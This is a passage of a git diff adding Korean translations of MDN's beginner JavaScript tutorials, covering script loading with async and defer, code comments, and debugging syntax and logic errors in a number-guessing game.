동적으로 사용자 인터페이스를 업데이트하는 자바스크립트의 사용은 Document Object Model API를 통해 HTML과 CSS를 수정하는 것으로 좋은 현상입니다. 만약 자바 스크립트가 HTML과 CSS 전에 실행되었다면 문제가 분명 발생할 것입니다.

+ +

브라우저 보안성

+ +

각각의 브라우저 탭들은 코드가 실행되는 개별적인 구성(이러한 것은 "실행 환경"이라고 지칭한다)입니다. 이는 각 탭의 대부분의 경우는 완전히 독립적이고, 하나의 탭의 코드는 다른 탭이나 웹사이트에 직접적으로 영향을 줄 수 없다는 의미입니다 . 이는 보안성에 좋은 방법입니다. 만약 이러한 부분이 없다면, 해커들이 다른 웹사이트로 부터 정보를 가로채는 등 악랄한 짓들을 할 수 있습니다.

+ +
+

Note: 물론 코드나 정보를 동떨어진 웹사이트나 탭으로 전송할 수 있는 안전한 방식이 존재합니다. 하지만 지금 과정과는 거리가 멀기 때문에 여기서는 다루지 않도록 하겠습니다.

+
+ +

자바스크립트 실행 순서

+ +

브라우저에서 자바스크립트를 만났을 때 일반적으로는 위에서 아래 순서대로 실행됩니다. 이는 순서에 주의해서 코드를 작성해야한다는 의미입니다. 예를 들어, 아래의 첫번째 예재를 통해 자바스크립트 블록을 반환해봅시다:

+ +
const para = document.querySelector('p');
+//HTML 요소 중 p태그를 선택
+
+para.addEventListener('click', updateName);
+//para에 저장된 객체가 클릭되었을 때 updateName 함수를 실행
+
+function updateName() {
+  let name = prompt('Enter a new name');
+  //'Enter a new name'과 입력란 출력하여 입력받은 값을 name에 저장
+  para.textContent = 'Player 1: ' + name;
+  //papa(p태그)에 새로운 문자열 저장
+}
+ +

먼저 p태그의 요소를 para변수에 저장합니다(1번줄). 그리고 event listener를 붙여(3번줄) p태그가 클릭되었을 때 updateName()코드 블록(중괄호로 묶여있는 부분)이 (5-8번줄) 실행되도록 합니다. updateName() 코드 블록(이렇게 계속적으로 사용할 수 있는 코드 블럭을 함수라고 합니다.). 사용자로 하여금 새로운 이름을 입력받기를 요청하고, 사용자가 이름을 입력하면 화면에 출력하게 됩니다.

+ +

만약 1번줄과 3번줄을 바꿨다면 코드는 실행되지 않을 것입니다. 대신 브라우저의 개발자 콘솔창에 다음과 같은 에러 알림이 뜰 것입니다. — TypeError: para is undefined. 이는 para라는 객체가 아직 존재하지 않는다는 뜻으로, para라는 변수에 event listener는 추가할 수 없습니다

+ +
+

Note: 이는 매우 일반적인 에러이기 때문에, 프로그램을 실행할 때 코드 상에서 사용되는 객체에 대해 주의할 필요가 있습니다.

+
+ +

해석형 언어와 컴파일러형 언어

+ +

프로그래밍을 하는 입장에서 인터프리트와 컴파일이라는 개념에 대해서는 들어보았을 것입니다. 자바스크립트는 해석형 언어입니다. 따라서 코드가 위에서 아래로 순차적으로 실행되고 그 즉시 결과가 반환됩니다. 브라우저에서 동작하기 전에 다른 방식으로 코드를 변환할 필요가 없습니다.

+ +

반면에 컴파일러형 언어는 컴퓨터에 의해 동작되기전 다른 형식으로 변환하는 언어입니다. 예를 들면 C/C++과 같은 언어는 어셈블리어로 컴파일되어 동작됩니다.

+ +

이 둘의 관점은 각각의 장점을 가지고 있으니 다음장 부터 한번 알아봅시다.

+ +

서버측 코드와 클라이언트측 코드

+ +

웹 개발 맥락에서 서버측과 클라이언트측 코드에 대해 들어보았을 것입니다. 클라이언트측 코드란 사용자의 컴퓨터에서 작동되는 코드입니다. 만약 웹페이지를 보고자 한다면, 클라이언트측 코드가 사용자의 컴퓨터로 다운로드되고 브라우저가 이를 표시합니다. 이러한 자바스크립트 모듈을 정확히는 클라이언트측 자바스크립트라고 합니다.

+ +

반면 서버측 코드는 서버에서 작동되고, 그 결과가 사용자의 브라우저에 넘어가 표시됩니다. PHP, Python, Ruby, ASP.NET등이 서버측 웹 언어의 대표적 예라고 볼 수 있습니다. 물론 자바스크립트도 가능합니다! 유명한 Node.js란 환경을 통해 서버측에서도 자바스크립트가 사용 가능합니다. Dynamic Websites – Server-side programming에서 서버측 자바스크립트에 대해 더 알 수 있습니다.

+ +

동적 VS 정적 코드

+ +

"동적"이라는 말은 클라이언트측 서버측 언어 모두를 가르킵니다. 이는 각기 다른 상황에서 적절한 정보가 보이고, 컨텐츠를 웹페이지나 앱 상에 계속적으로 노출시키는 역할을 합니다. 서버측 코드는 데이터베이스로 부터 데이터를 던지는 등 동적으로 새로운 컨텐츠들을 만듭니다. 반면에, 클라이언트측 자바스크립트는 새로운 HTML 표를 만들어 서버에서 요청한 데이터를 뿌려 사용자에게 보이는 등 동적으로 브라우저 안에서 작동됩니다. 이 둘 사이는 서로 미묘한 차이가 있지만, 서로 연관되어 있고 서버측 클라이언트측의 관계와 접근에 대해 알 필요가 있습니다.

+ +

동적으로 바뀌지 않는 페이지를 "정적"페이지라고 합니다. (항상 같은 콘텐츠를 보여줍니다.)

+ +

웹 페이지에 JavaScript를 어떻게 넣나요?

+ +

자바스크립트는 CSS와 같은 방식으로 HTML 페이지에 적용됩니다. CSS는 외부의 스타일시트를 적용하기 위해 link 요소를 사용하거나 내부의 스타일시트를 적용하기 위해 style 요소를 사용하는 반면,자바스크립트는 HTML상에서 오직 script 태크만으로 사용이 가능합니다. 어떻게 작동되는지 한번 살펴봅시다.

+ +

HTML 내부의 자바스크립트

+ +
    +
  1. 먼저, 예제로 주어진 apply-javascript.html파일을 저장합니다.
  2. +
  3. 파일을 브라우저와 편집기 상에서 둘다 엽니다. HTML으로 만든 클릭 버튼이 있는 간단한 웹페이지를 볼 수 있습니다.
  4. +
  5. 그런다음, 편집기로 가서 </body> 태그 직전에 다음의 코드를 추가하도록 합니다: +
    <script>
    +
    +  // JavaScript goes here
    +
    +</script>
    +
  6. +
+ +

그러고 아래의 자바스크립트 코드를 <script></script>사이에 넣음으로서 페이지 상에서 동작이 가능하게끔 할 수 있습니다.( 위 코드에서 "// JavaScript goes here" 부분에 아래의 코드를 추가하면 됩니다.)

+ +
document.addEventListener("DOMContentLoaded", function() {
+  function createParagraph() {
+    let para = document.createElement('p');
+    para.textContent = 'You clicked the button!';
+    document.body.appendChild(para);
+  }
+
+  const buttons = document.querySelectorAll('button');
+
+  for(let i = 0; i < buttons.length ; i++) {
+    buttons[i].addEventListener('click', createParagraph);
+  }
+});
+ +
    +
  1. 파일을 저장하고 새로고침을 눌러보세요. 이제 버튼을 클릭하면 새로운 문단이 아래쪽에 생기는 것을 볼 수 있습니다.
  2. +
+ +
+

각각의 문법에 대해서는 이후 더 자세히 다루기 때문에, 동작여부만 확인하고 넘어가도 무방합니다.

+
+ +
+

Note: 만약 예제가 실행되지 않는다면,  돌아가서 올바른지 한 번 더 체크해보도록 하세요. 혹시 저장할 때 확장자를 .html 로 하지 않았나요? 혹시 {{htmlelement("script")}} 를</body> 태그 뒤에 붙인 건 아닌가요?  다음과 같이 자바스크립트를 작성했나요? 자바스크립트는 까다로운 언어이기 때문에 정확하게 문법을 지킬 필요가 있습니다. 그렇지 않으면 제대로 동작하지 않을 수 도 있습니다.

+
+ +
+

Note: 깃허브에서도 이 코드를 볼 수 있습니다. apply-javascript-internal.html (see it live too).

+
+ +

외부의 자바스크립트

+ +

만약에 외부 파일로 자바스크립트를 위치시키고 싶다면 어떻게 할까요? 이에 대해서 알아봅니다.

+ +
    +
  1. 먼저, HTML 파일이 있는 디렉토리에 script.js라는 새로운 파일을 만듭니다. 파일의 확장자가 .js이면 그 파일이 자바스크립트로 이루어져 있음을 뜻합니다.
  2. +
  3. 아래의 태그를 HTML 코드에 복사 후 저장합니다.
  4. +
  5. +
    <script src="script.js"></script>
    +
  6. +
  7. script.js 의 내용을 다음과 같이 바꿉니다. +
    function createParagraph() {
    +  let para = document.createElement('p');
    +  para.textContent = 'You clicked the button!';
    +  document.body.appendChild(para);
    +}
    +
    +const buttons = document.querySelectorAll('button');
    +
    +for(let i = 0; i < buttons.length ; i++) {
    +  buttons[i].addEventListener('click', createParagraph);
    +}
    +
  8. +
  9. 저장하고 브라우저를 새로고침하면 앞과 똑같은 결과가 나올것입니다. 똑같이 작동하기 때문에 이제 자바스크립트는 외부에서 만들 수 있음을 알 수 있습니다. 이는 코드를 만들고 구성하는 입장에서 좋으며, 여러 HTML파일로 부터 재사용이 가능합니다. 더군다나 HTML은 스크립트의 본문이 외부로 분리되어 간결해집니다.
  10. +
+ +
+

Note: 깃허브에서 이 버전을 볼 수 있습니다. apply-javascript-external.html 그리고 script.js (see it live too).

+
+ +

인라인 JavaScript 처리기

+ +

실제 HTML 속에 포함된 자바스크립트코드를 함께 쓸 수 있습니다. 이는 다음과 같으니 참고해보세요:

+ +
function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+//HTML 내의 <scirpt>태그 내부에 작성
+
+ +
<button onclick="createParagraph()">Click me!</button>
+ +

이는 다음과 같은 예제로 볼 수 있습니다.

+ +

이 데모 예제는 <button>태그에 onclick속성에 대한 값을 함수이름으로 넣어 버튼이 클릭될 때마다 함수가 실행되도록 작성하였습니다.

+ +

하지만, 이 방법은 효율적이지 않습니다. 이는 자바스크립트와 함께 HTML 소스를 복잡하게 할 수 있습니다. 또한 함수를 만들기 위한 모든 버튼 마다 onclick="createParagraph()" 속성을 포함해야합니다.

+ +

JavaScript 코드만으로도 모든 버튼에 함수를 연결할 수 있습니다. 위의 내용을 의도한대로 수정한다면 다음과 같습니다:

+ +
const buttons = document.querySelectorAll('button');
+//모든 <button>태그를 List 형태로 buttons 변수에 저장한다.
+
+for (let i = 0; i < buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}
+//복수이기 때문에 for를 사용해 루프를 돌린다.
+
+ +

이 코드는 onclick 속성 코드 보다 조금 길어보이지만, 페이지가 많든, 버튼의 수가 많든 적든 상관없이 모든 버튼들이 같은 기능을 할 수 있도록 합니다. 물론 자바스크립트 코드를 변경할 필요가 없습니다.

+ +
+

Note:  apply-javascript.html 수정을 해보고 버튼을 한 번 추가해 보세요. 실행해보면 버튼 하나하나 클릭할 때 마다 글이 보일 것입니다. 꽤 깔끔하지 않은가요?

+
+ +

스크립트의 로딩 방법

+ +

 작성된 스크립트를 브라우저가 적절한 때에 로딩하는것에 대해 몇가지 이슈가 있습니다. 중요한 것은 모든 HTML 요소는 순서대로 페이지에 로드된다는 것입니다. 만약 당신이 자바스크립트를 이용해 HTML 요소를 조작할 경우(정확하게는 DOM), 자바스크립트 코드가 조작 대상인 HTML 요소보다 먼저 실행된다면 조작할 요소가 존재하지 않는 상태이기 때문에 제대로 동작하지 않을 것입니다.

+ +

위의 코드 예제에서, 내부와 외부의 자바스크립트는 HTML Document의 body가 해석되기 전인 head 부분에 로드되고 실행되었습니다. 이는 에러를 일으킬 수 있습니다. 그래서 여기에 사용되는 몇가지 해결방법들이 있습니다.

+ +

내부 자바스크립트 예제에서는 다음과 같이 구성하면 됩니다:

+ +
document.addEventListener("DOMContentLoaded", function() {
+  ...
+});
+ +

이 이벤트리스너는 "DOMContentLoad" 이벤트가 발생되었을 때 function()을 실행한다는 의미입니다. (이벤트 리스너에 관해서는 이번 코스에서 다루게 됩니다.) "DOMContentLoad" 이벤트는 브라우저가 완전히 로드되고 해석될때 발생됩니다. function(){} 내부의 자바스크립트 구문은 이벤트가 발생되기 전까지는 실행되지 않습니다. 따라서 모든 body태그의 요소가 로드된 이후 자바스크립트 코드가 실행되도록 만들어 에러를 피할 수 있습니다.

+ +

외부 자바스크립트 예제에서는 좀더 최신의 자바스크립트 문법인 async 속성을 사용하게 됩니다. 일반적으로 HTML요소를 로딩하는 중 <scirpt>태그를 만나면 JavaScript의 내용이 모두 다운될 때까지 HTML로딩은 멈추게 되는데, async요소는 비동기방식으로 <script>태그에 도달했을 때 브라우저에게 HTML 요소를 멈추지 않고 다운받도록 유지시킵니다.

+ +
<script src="script.js" async></script>
+ +

이 경우 scriptHTML은 모두 동시에 로드되고 작동할 것입니다.

+ +
+

Note: 외부 스크립트 경우 async 속성을 사용하면 되기 때문에 내부 스크립트처럼 DOMContentLoaded이벤트를 사용할 필요가 없습니다. 하지만 async속성은 외부 스크립트의 경우만 동작합니다.

+
+ +

예전 방식은 scirpt 요소를 body태그의 맨 끝에 넣는 방법이었습니다(</body> 바로 위에). 이 방식을 사용해도 body태그가 모두 로드된 이후 scirpt가 실행되게 만들 수 있습니다. 문제는 이 방법과 DOMContentLoaded를 이용한 방법 모두 HTML DOM이 로드되기 전까지 script의 로딩과 파싱이 완전히 차단된다는 것입다. 이는 많은 자바스크립트 코드를 다루는 규모가 큰 사이트의 경우 사이트를 느리게 만드는 중요한 성능 문제를 야기할 수 있습니다. 이것이 async 속성을 사용해야 하는 이유입니다!

+ +
+

Note: 자바스크립트의 비동기 개념은 이해하는데 시간이 오래 걸리기 때문에, 지금 이해되지 않는다면 현재 단계에선 외부 스크립트 방식만 사용하고 넘어가도 무방합니다.

+
+ +

async & defer

+ +

더 깊게 들어가보면 이러한 코드문제를 해결하기 위한 방법은 실제로 두가지가 있습니다. — async 와defer 입니다. 두 가지의 차이를 봅시다.

+ +

async 스크립트는 페이지 렌더링의 중단 없이 스크립트를 다운로드 하고, 또한 스크립트의 다운로드가 끝나자 마자 이를 실행시킵니다. async는 외부 스크립트끼리의 구체적인 실행 순서는 보장하지 않고, 단지 나머지 페이지가 나타나는 동안 스크립트가 비동기방식으로 다운로드 되어 중단되지 않는다는 것만 보장합니다. async는 각각의 스크립트가 독립적으로, 서로에게 의존하지 않는 관계일 때 적절합니다.

+ +

아래의 예제를 보시죠:

+ +
<script async src="js/vendor/jquery.js"></script>
+
+<script async src="js/script2.js"></script>
+
+<script async src="js/script3.js"></script>
+ +

3개의 스크립트를 로딩하지만 이들의 순서는 보장할 수 없습니다. 이는 script2.jsscript3.js에 있는 함수가 jquery.js의 함수를 사용한다면 에러를 발생될 수 있다는 것을 의미합니다.

+ +

Defer는 이와 다르게 순서대로 다운로드 한 후 모든 스크립트와 내용이 다운로드 되었을 때 실행됩니다:

+ +
<script defer src="js/vendor/jquery.js"></script>
+
+<script defer src="js/script2.js"></script>
+
+<script defer src="js/script3.js"></script>
+ +

따라서 위의 예제의 경우에는 jquery.js -> script2.js -> script3.js 의 순서가 보장됩니다.

+ +

요약 :

+ + + +

주석

+ +

HTML과 CSS와 같이, 자바스크립트에서도 주석문의 사용이 가능합니다. 주석문은 브라우저 실행때는 무시되어 넘어가고 다른 개발자로 하여금 어떻게 구성되고 작동되는지 설명해주는 역할을 합니다(물론 자신의 훗날 코드를 다시 보았을 때 빨리 기억하고, 이해할 수 있게끔 도와주기도 합니다.). 주석문은 매우 유용하고 코딩시 자주 사용됩니다(특히 큰 프로젝트에서). 주석문에는 두가지 종류가 있습니다:

+ + + +

예를 들자면, 앞의 데모예제에 주석문을 다음과 같이 달 수 있습니다.

+ +
// Function: creates a new paragraph and append it to the bottom of the HTML body.
+
+function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+
+/*
+  1. Get references to all the buttons on the page and sort them in an array.
+  2. Loop through all the buttons and add a click event listener to each one.
+
+  When any button is pressed, the createParagraph() function will be run.
+*/
+
+const buttons = document.querySelectorAll('button');
+
+for (let i = 0; i < buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}
+ +

정리

+ +

지금까지 우리는 자바스크립트의 첫걸음을 떼었습니다. 여기서 자바스크립트를 왜 사용하고 어떻게 사용하는지에 대한 방법들에 대한 기초적인 부분을 배웠습니다. 여러 예제 코드를 봄으로써, 웹사이트와 다른 곳에서의 코드상 자바스크립트가 어떻게 구성되어있는지 배웠습니다.

+ +

자바스크립트가 지금은 조금 어려울 수 있으나, 걱정하지 마세요. 이 수업은 첫 단계인만큼 앞으로 더 많은 것을 배우기 위해 감각을 키우기 위한 수업입니다. 다음 수업에서 우리는 plunge straight into the practical를 통해 앞으로 더 나아가고 스스로 자바스크립트 예제를 실행해볼 것입니다.

diff --git a/files/ko/learn/javascript/first_steps/what_went_wrong/index.html b/files/ko/learn/javascript/first_steps/what_went_wrong/index.html new file mode 100644 index 0000000000..44030c4057 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/what_went_wrong/index.html @@ -0,0 +1,237 @@ +--- +title: 자바스크립트 문제해결 +slug: Learn/JavaScript/First_steps/What_went_wrong +translation_of: Learn/JavaScript/First_steps/What_went_wrong +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}
+ +

이전 수업에서 "숫자맞추기" 프로그램을 만들어봤을때, 프로그램이 돌아가지 않는다는 것을 볼 것이다. 하지만 여기서 자바스크립트의 에러를 찾고 고치는 방법에 대해 알려주니 겁먹지 말고 도전해보자!

+ + + + + + + + + + + + +
알아야 할 것기본적인 컴퓨터 이해. HTML, CSS, 자바스크립트의 이해
목표코드상의 문제를 고치는 능력과 자신감 고취
+ +

에러의 종류

+ +

일반적으로, 코드가 잘못된 이유에는 2가지 종류가 있으니 살펴보자.

+ + + +

물론, 간단하지는 않지만 좀 더 세분화된 분류가 있다. 그렇지만, 위의 분류가 처음에는 이해하기 좋다. 우리는 앞으로 이 두가지 종류에 대해 알아볼 것이다.

+ +

잘못된 예

+ +

시작하기 앞서, 이전에 볼 '숫자맞추기'게임을 살펴보자 (이번 시간을 제외하고는 앞으로 일부러 에러를 만든 코드를 볼 것입니다.) 깃허브에 가서 로컬 지역에 저장합니다. -> number-game-errors.html (see it running live here).

+ +
    +
  1. 시작하기에 앞서, 파일을 본인이 사용하는 텍스트 에디터와 브라우저를 통해 연다.
  2. +
  3. 프로그램을 실행시켜본다.("Submit Button"을 눌렀을 때, 정상적으로 실행이 되면 안된다)
  4. +
+ +
+

Note: You might well have your own version of the game example that doesn't work, which you might want to fix! We'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here. Then you can go back and try to fix your example.

+
+ +

여기서 구문 에러가 발생했을때 볼 수 있는 개발자 콘솔에 대해 살펴보고, 이를 통해 수정해보자. 이제부터 시작이다!

+ +

구문(Syntax) 에러 고치기

+ +

수업 앞쪽에서 간단한 자바스크립트 명령어를 developer tools JavaScript console 에서 살펴보았다 (만약 모르겠다면 앞의 링크를 살펴보자). 좋은 것은, 브라우저의 자바스크립트 엔진이 구문에러가 발생할 대마다 에러메시지를 콘솔에게 던져준다.  자, 이제 시작해보자

+ +
    +
  1.  열려져 있는 number-game-errors.html이 있는 탭으로 가서 자바스크립트 콘솔창을 연다. 다음줄을 따라 에러메시지를 볼 수 있을 것이다.
  2. +
  3. 이는 쉬운 에러에 속하기 때문에, 브라우저가 해결하도록 팁등을 알려준다. (위의 캡처사진은 FireFox이지만, 아마 다른 브라우저에서도 비슷한 내용을 제공해준다). 왼쪽부터 살펴보면, +
      +
    • 빨간색 "x"는 에러라는 것을 의미한다.
    • +
    • 무엇이 잘못됬는지 알려준다. 여기서는 "TypeError: guessSubmit.addeventListener is not a function"
    • +
    • "Learn More" 링크는 다양한 내용이 있는 MDN 페이지와 연결해 에러의 의미를 설명해준다.
    • +
    • 자바스크립트 파일의 이름으로 개발자툴의 디버거 탭을 연결한다. 이 링크를 따라가면, 에러가 발생한 정확한 위치를 찾을 수 있다.
    • +
    • 에러가 발생한 줄번호와, 그 줄에서 몇번째 문자에 있는지 알려준다.  여기서는 86번줄, 앞에서 3번째 문자이다
    • +
    +
  4. +
  5. 편집기에서 86번째 줄을 보자. +
    guessSubmit.addeventListener('click', checkGuess);
    +
  6. +
  7. "guessSubmit.addeventListener is not a function"라고 에러메시지가 뜨는걸로 보아, 아마 철자가 잘못되었을 것이다. 만약 철자가 애매하거나하면, MDN에서 찾아보는것이 좋을 것이다. 현재로 가장 좋은 방법은 검색엔진에서 "mdn name-of-feature" 를 검색하는 것이다. 예를들자면 다음을 살펴보자 -> addEventListener().
  8. +
  9. 여기서 살펴보며, 함수의 이름 철자가 틀려서 에러가 났음을 알수 있다. 자바스크립트와 같은 프로그래밍은 정확하기 때문에 한글자라도 틀리면 에러가 날 것이다. addeventListener를 addEventListener러 바꿈으로 에러는 해결된다. 고쳐보자.
  10. +
+ +
+

Note: See our TypeError: "x" is not a function reference page for more details about this error.

+
+ +

반복되는 구문에러

+ +
    +
  1. 저장하고 새로고침해보자. 하지만 그래도 여전히 에러가 난다.
  2. +
  3. 이제 숫자를 입력하고 "Submit guess" 버튼을 눌러보자. 그런데, 또 다른 에러가 나타났다!
  4. +
  5. 이번에는 에러 메시지가  78번 줄에 "TypeError: lowOrHi is null" 라고 떳다. +
    Note: This error didn't come up as soon as the page was loaded because this error occurred inside a function (inside the checkGuess() { ... } block). As you'll learn in more detail in our later functions article, code inside functions runs in a separate scope to code outside functions. In this case, the code was not run and the error was not thrown until the checkGuess() function was run by line 86.
    + Note: Null is a special value that means "nothing", or "no value". So lowOrHi has been declared and initialised, but not with any meaningful value — it has no type or value.
  6. +
  7. 78번줄은 다음 코드다. +
    lowOrHi.textContent = 'Last guess was too high!';
    +
  8. +
  9. 이줄에서는 lowOrHi변수의 textContent속성을 문자열로 지정하지만, lowOrHi가 어떤 역할을 하는지 포함하지 않았기 때문에 동작되지 않는다. 왜 그런지 살펴보면, 예제의 lowOrHi의 다른 예제를 보면 알 수 있다. 가장 가까이에 잇는 부분은 48번줄에서 찾을 수 있다. +
    var lowOrHi = document.querySelector('lowOrHi');
    +
  10. +
  11. 여기서는 변수로 하여금 HTML안의 요소로 정보를 가지도록 하려고 한다. 이 줄이 실행되고 나서 값의 null인지도 확인해보자. 49번줄에 다음 코드를 추가해보자. +
    console.log(lowOrHi);
    + +
    +

    Note: console.log() is a really useful debugging function that prints a value to the console. So it will print the value of lowOrHi to the console as soon as we have tried to set it in line 48.

    +
    +
  12. +
  13. 저장하고 새로고침해보면, 콘솔창에서 console.log() 의 결과를 볼 수 있을 것이다. 물론, lowOrHi's값은 여전히 null이므로 48번줄은 문제가 있다고 볼 수 있다.
  14. +
  15. 문제가 무엇인지 생각해보자. 49번줄 document.querySelector() 메소드는 CSS 선택자로금 선택되는 요소의 정보를 갖도록 만든다. 파일을 살펴보면, 다음과 같은 코드를 볼 수 있다. +
    <p class="lowOrHi"></p>
    +
  16. +
  17. 따라서 여기에 점(.) 으로 시작되는 클래스 선택자가 필요한 것이다 . 하지만 48번줄의 querySelector() 메소드에서는 바로 이 '점(.)' 이 없다. lowOrHi.lowOrHi 로 바꾸어 문제를 해결할 수 있다.
  18. +
  19. 저장하고 새로고침하면, console.log() 에서 우리가 원하는 <p> 요소를 반환할 것이다. 자, 이제 다른 에러가 해결되었다. console.log()를 지금 제거해도 되고 난중을 위해 나둬도 되니 알아서 하자.
  20. +
+ +
+

Note: See our TypeError: "x" is (not) "y" reference page for more details about this error.

+
+ +

세번씩 반복되는 구문에러

+ +
    +
  1. 이제 프로그램을 계속 실행할수록, 성공횟수는 많아진다. 즉 프로그램이 종료될때까지 정확한 수를 추측하든, 횟수에 상관없이 완벽한 프로그램이 동작된다는 것이다.
  2. +
  3. 여기서 프로그램에 처음에 보았던 똑같던 에러가 발생한다. "TypeError: resetButton.addeventListener is not a function"이라고! 하지만 이번에는 94번줄이라고 표시된다.
  4. +
  5. 94번줄을 보면, 똑같은 실수를 하고 있다는 것을 쉽게 찾아볼 수 있다. 단지 addeventListener 를 addEventListener 로 철자만 주의해서 바꾸면 된다.
  6. +
+ +

논리(Logic) 에러

+ +

이제, 프로그램은 잘 작동되지만, 몇 번 프로그램을 돌리면 추측해야 할 수가 항상 1이라는 것을 명백히 알 수 있다. 즉, 프로그램의 목표에 어긋난다는 것이다.

+ +

이는 분명 어딘가에 프로그램 논리적으로 무슨 문제가 있다는 것이다.(물론, 에러가 검출되지도 않고, 잘 작동된다)

+ +
    +
  1. randomNumber 변수를 찾고, 임의의 수를 처음으로 지정된 곳도 찾는다. 임의의 수가 저장된 부분은 아마 44번 줄 언저리일 것이다. + +
    var randomNumber = Math.floor(Math.random()) + 1;
    + 또한 한 게임이 끝나면 다시 임의의 수를 지정하는 부분은 아마 113번 줄 정도일 것이다.
    + +
    randomNumber = Math.floor(Math.random()) + 1;
    +
  2. +
  3. 이 줄에서 문제가 발생되었는지 알기위해, console.log() 를 불러오자. 다음 코드를 앞선 두 코드 아래에 넣는 것도 잊지 말자. +
    console.log(randomNumber);
    +
  4. +
  5. 저장하고, 새로고침하게되면 randomNumer 변수가 항상 1이 콘솔창에 표시되는 것을 알 수 있다.
  6. +
+ +

논리에 대한 고찰

+ +

고치기 전에, 이 코드가 무슨 역할을 하는지 살펴보자. 먼저, 0과 1사이의  임의의 10진수를 생성하는 Math.random() 을 살펴보자.

+ +
Math.random()
+ +

다음으로 가장 가까운 정수로 전달되는 Math.floor()안의 Math.random()의 결과는 넘어간다. 그러고 결과값에 1을 더한다.

+ +
Math.floor(Math.random()) + 1
+ +

0과 1사이의 임의의 10진수와 가장 가까운 수 중에 작은 수는 항상 0이므로, 여기서 1을 더하면 항상 1이 된다.  따라서 가까운 수를 찾기전에 임의수에 100을 곱해야 한다. 다음 코드는 곧 0과 99사이의 수를 나타낸다.

+ +
Math.floor(Math.random()*100);
+ +

그러므로 여기서 1을 더하게 되면, 우리가 원하는 1과 100사이의 수가 될 것이다.

+ +
Math.floor(Math.random()*100) + 1;
+ +

코드를 위와 같이 고치고, 저장 후 새로고침해보자. 그러면 프로그램은 우리가 생각하는 대로 작동될 것이다.

+ +

다른 일반적인 에러

+ +

코드상에서 맞딱드릴 수 있는 에러는 여러가지가 있다. 이번 섹션은 이러한 에러들에 대해 말해줄 것이다.

+ +

SyntaxError: missing ; before statement

+ +

이번 에러는 일반적으로 코드의 끝부분에 세미콜론이 빠졌을 때 발생하지만, 때로는 헷갈릴 때도 있다. 예를 들어 checkGuess() 함수안의 코드를 고칠때를 살펴보자.

+ +
var userGuess = Number(guessField.value);
+ +

이 코드를 다음코드로 바꾼다.

+ +
var userGuess === Number(guessField.value);
+ +

당연히 이 둘의 코드가 다르기때문에 오류가 발생했을 것이다. 즉, 대입 연산자(=, 값을 변수에 지정하도록 함)와 비교연산자(===, 어떤 값과 다른값을 비교할때 쓰며, true와false중 하나가 반환됨)를 함께 혼동해서 쓰면 안된다.

+ +
+

Note: See our SyntaxError: missing ; before statement reference page for more details about this error.

+
+ +

어떤 값을 입력해도, 항상 성공표시가 뜬다.

+ +

이 또한, 앞처럼 대입연산자와 비교연산자를 혼동해서 사용한 경우이다. 예를들어, checkGuess()함수 안의 다음코드

+ +
if (userGuess === randomNumber) {
+ +

+ +
if (userGuess = randomNumber) {
+ +

로 바꾼다면, 조건문은 항상 참이므로, 프로그램은 항상 성공했다고 뜰 것이니 주의하자!

+ +

SyntaxError: missing ) after argument list

+ +

이는 보통 함수나 메소드 호출의 끝부분에 괄호 닫는것을 빼먹은 것을 의미한다.

+ +
+

Note: See our SyntaxError: missing ) after argument list reference page for more details about this error.

+
+ +

SyntaxError: missing : after property id

+ +

이 오류는 자바스립트의 객체가 잘못되었을 때 발생하지만,  다음의 경우에는 변경할 수 있다.

+ +
function checkGuess() {
+ +

->

+ +
function checkGuess( {
+ +

이는 브라우저로 하여금 함수안의 컨텐츠를 인자로 함수에게 넘겨주는 역할을 한다. 괄호에 주의하도록 하자!

+ +

SyntaxError: missing } after function body

+ +

일반적으로 함수나 조건문에서 중괄호를 닫지 않아서 발생한다.  checkGuess() 함수의 아래부분의 중괄호를 닫지않아서 에러가 발생한다.

+ +

SyntaxError: expected expression, got 'string' or SyntaxError: unterminated string literal

+ +

이는 보통 문자열을 열거나 닫는 따옴표를 생략한 경우 에러가 발생한다.위의 첫번재 에러를 살펴보면, string은 문자열이 시작하는 부분에서 따옴표 대신 브라우저가 검색한 예상치 못한 문자열로 대체된다. 두번째 에러는 따옴표로 문자열이 끝나지 못했기 때문에 발생했다.

+ +

모든 경우의 에러를 보았을 때, 지금까지 살펴본 예제에 어떻게 씨름했는지 생각해보자. 에러가 발생하면 , 발생된 줄 번호를 보고, 그 줄로 이동해 무엇이 잘못되었는지 살펴보는것이다.  이 오류가 반드시 해당 라인에 있는 것은 아니며, 위에서 언급되어진 문제로 인해  오류가 발생하지 않을 수도 있다는 점을 명심하자!

+ +
+

Note: See our SyntaxError: Unexpected token and SyntaxError: unterminated string literal reference pages for more details about these errors.

+
+ +

요약

+ +

자, 지끔까지 자바스크립트 프로그램에서의 에러의 특징에 대해 살펴보았다.물론, 코드상의 에러가 항상 간단한 것만은 아니다. 하지만 최소한 업무량은 줄어줄 것이며, 작업도 빠르게 마치도록 해줄 것이다.

+ +

더보기

+ +
+ +
+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}

diff --git a/files/ko/learn/javascript/howto/index.html b/files/ko/learn/javascript/howto/index.html new file mode 100644 index 0000000000..7af2a007be --- /dev/null +++ b/files/ko/learn/javascript/howto/index.html @@ -0,0 +1,294 @@ +--- +title: Solve common problems in your JavaScript code +slug: Learn/JavaScript/Howto +tags: + - 자바스크립트 + - 초보자 + - 학습 +translation_of: Learn/JavaScript/Howto +--- +
{{LearnSidebar}}
+ +
다음의 링크들은 당신의 자바스크립트 코드가 정상적으로 작동할 수 있게 고쳐야되는 흔한 문제들의 해결책을 제시한다.
+ +

초보자들의 흔한 실수들

+ +

스펠링과 대소문자를 제대로 해라

+ +

코드가 작동하지 않거나 브라우저가 무언가가 undefined라고 불평하면 모든 변수 이름, 함수 이름 등을 정확하게 입력했는지 확인하십시오. 

+ +

문제를 일으키는 몇 가지 일반적인 내장 브라우저 함수는 다음과 같습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
올바른잘못된
